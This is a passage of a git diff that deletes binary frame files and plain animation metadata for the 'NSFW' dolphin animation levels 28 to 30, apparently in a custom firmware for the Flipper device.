a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_3.bm deleted file mode 100644 index 82f157008..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_4.bm deleted file mode 100644 index a85efdb4c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_5.bm deleted file mode 100644 index 31a8e3e9d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/meta.txt deleted file mode 100644 index cf387b42f..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_28/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 6 -Active frames: 0 -Frames order: 0 1 2 3 4 5 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_0.bm deleted file mode 100644 index c5cd01fe1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_1.bm deleted file mode 100644 index 01014aa37..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_10.bm deleted file mode 100644 index c395c3a54..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_11.bm deleted file mode 100644 index 5356342e9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_12.bm deleted file mode 100644 index 7131132cb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_13.bm deleted file mode 100644 index 6e0e26565..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_14.bm deleted file mode 100644 index 2a227939b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_15.bm deleted file mode 100644 index b7b5ab633..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_16.bm deleted file mode 100644 index d1920035d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_17.bm deleted file mode 100644 index 52c401979..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_18.bm deleted file mode 100644 index 0c35dd619..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_19.bm deleted file mode 100644 index ea6892669..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_2.bm deleted file mode 100644 index 589fd37ac..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_20.bm deleted file mode 100644 index 8ced98533..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_21.bm deleted file mode 100644 index 47e8b35c7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_22.bm deleted file mode 100644 index fe8b3647b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_23.bm deleted file mode 100644 index 37f5bf908..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_24.bm deleted file mode 100644 index 1590e0362..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_25.bm deleted file mode 100644 index 1cc3b8365..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_26.bm deleted file mode 100644 index d902b78d9..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_27.bm deleted file mode 100644 index 9feb086b7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_28.bm deleted file mode 100644 index 7d4d58f42..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_28.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_29.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_29.bm deleted file mode 100644 index 5363dec0f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_29.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_3.bm deleted file mode 100644 index 32471c71f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_30.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_30.bm deleted file mode 100644 index 6492da1ec..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_30.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_31.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_31.bm deleted file mode 100644 index 3950a3efb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_31.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_32.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_32.bm deleted file mode 100644 index bdf67ec39..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_32.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_33.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_33.bm deleted file mode 100644 index b603b7a0c..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_33.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_34.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_34.bm deleted file mode 100644 index c23922532..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_34.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_35.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_35.bm deleted file mode 100644 index 8e2d58fab..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_35.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_36.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_36.bm deleted file mode 100644 index d6a14314f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_36.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_37.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_37.bm deleted file mode 100644 index b75541338..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_37.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_38.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_38.bm deleted file mode 100644 index f88750819..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_38.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_39.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_39.bm deleted file mode 100644 index dc477b4f6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_39.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_4.bm deleted file mode 100644 index ea8ecfc94..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_40.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_40.bm deleted file mode 100644 index e1f133315..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_40.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_41.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_41.bm deleted file mode 100644 index 2692627e5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_41.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_42.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_42.bm deleted file mode 100644 index 7d996ecab..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_42.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_43.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_43.bm deleted file mode 100644 index ddeecb970..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_43.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_44.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_44.bm deleted file mode 100644 index b3bfe86f8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_44.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_45.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_45.bm deleted file mode 100644 index a7b84ae36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_45.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_46.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_46.bm deleted file mode 100644 index c3ae7a40b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_46.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_47.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_47.bm deleted file mode 100644 index e7838aa73..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_47.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_48.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_48.bm deleted file mode 100644 index c06329bf1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_48.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_49.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_49.bm deleted file mode 100644 index 67bcdd52a..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_49.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_5.bm deleted file mode 100644 index 4805e48ac..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_50.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_50.bm deleted file mode 100644 index ce4d2170e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_50.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_51.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_51.bm deleted file mode 100644 index e7e03bca3..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_51.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_6.bm deleted file mode 100644 index 83d53d6c6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_7.bm deleted file mode 100644 index a073392f6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_8.bm deleted file mode 100644 index ec94a670e..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_9.bm deleted file mode 100644 index ea92ab142..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/meta.txt deleted file mode 100644 index 240e30716..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 52 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_0.bm deleted file mode 100644 index f3803b0dd..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_1.bm deleted file mode 100644 index d88a90ea6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_10.bm deleted file mode 100644 index 3d5040bcb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_11.bm deleted file mode 100644 index ab46fb0b8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_12.bm deleted file mode 100644 index 697691986..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_13.bm deleted file mode 100644 index f4e93ea34..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_14.bm deleted file mode 100644 index db3f25450..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_2.bm deleted file mode 100644 index 9e43f27a5..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_3.bm deleted file mode 100644 index ad1673b73..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_3.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_4.bm deleted file mode 100644 index cae9da10f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_4.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_5.bm deleted file mode 100644 index 6d05a0008..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_5.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_6.bm deleted file mode 100644 index 71e661f08..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_6.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_7.bm deleted file mode 100644 index 46bba3472..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_7.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_8.bm deleted file mode 100644 index 54c2da6d2..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_8.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_9.bm deleted file mode 100644 index 7fab0aa36..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_9.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/meta.txt deleted file mode 100644 index 30c74a14c..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 15 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_0.bm deleted file mode 100644 index 0607a6567..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_0.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_1.bm deleted file mode 100644 index fbfdb5ad8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_1.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_10.bm deleted file mode 100644 index 496d0fdcb..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_10.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_11.bm deleted file mode 100644 index 30fb626d8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_11.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_12.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_12.bm deleted file mode 100644 index e82925f17..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_12.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_13.bm deleted file mode 100644 index 3573860e1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_13.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_14.bm deleted file mode 100644 index ee3bb0da1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_14.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_15.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_15.bm deleted file mode 100644 index 542f97b5d..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_15.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_16.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_16.bm deleted file mode 100644 index b1d69ec21..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_16.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_17.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_17.bm deleted file mode 100644 index 5eb52d460..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_17.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_18.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_18.bm deleted file mode 100644 index 05d5258a6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_18.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_19.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_19.bm deleted file mode 100644 index 163bfdb61..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_19.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_2.bm deleted file mode 100644 index 11316e13f..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_2.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_20.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_20.bm deleted file mode 100644 index dc518e7c1..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_20.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_21.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_21.bm deleted file mode 100644 index 78a04e1a6..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_21.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_22.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_22.bm deleted file mode 100644 index 341639b56..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_22.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_23.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_23.bm deleted file mode 100644 index 79432fd18..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_23.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_24.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_24.bm deleted file mode 100644 index 0822417d7..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_24.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_25.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_25.bm deleted file mode 100644 index c6153149b..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_25.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_26.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_26.bm deleted file mode 100644 index 69f9bf1a4..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_26.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_27.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_27.bm deleted file mode 100644 index 09cca85b8..000000000 Binary files a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_27.bm and /dev/null differ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_28.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_30/frame_28.bm deleted file mode 100644 index ee9953191..000000000 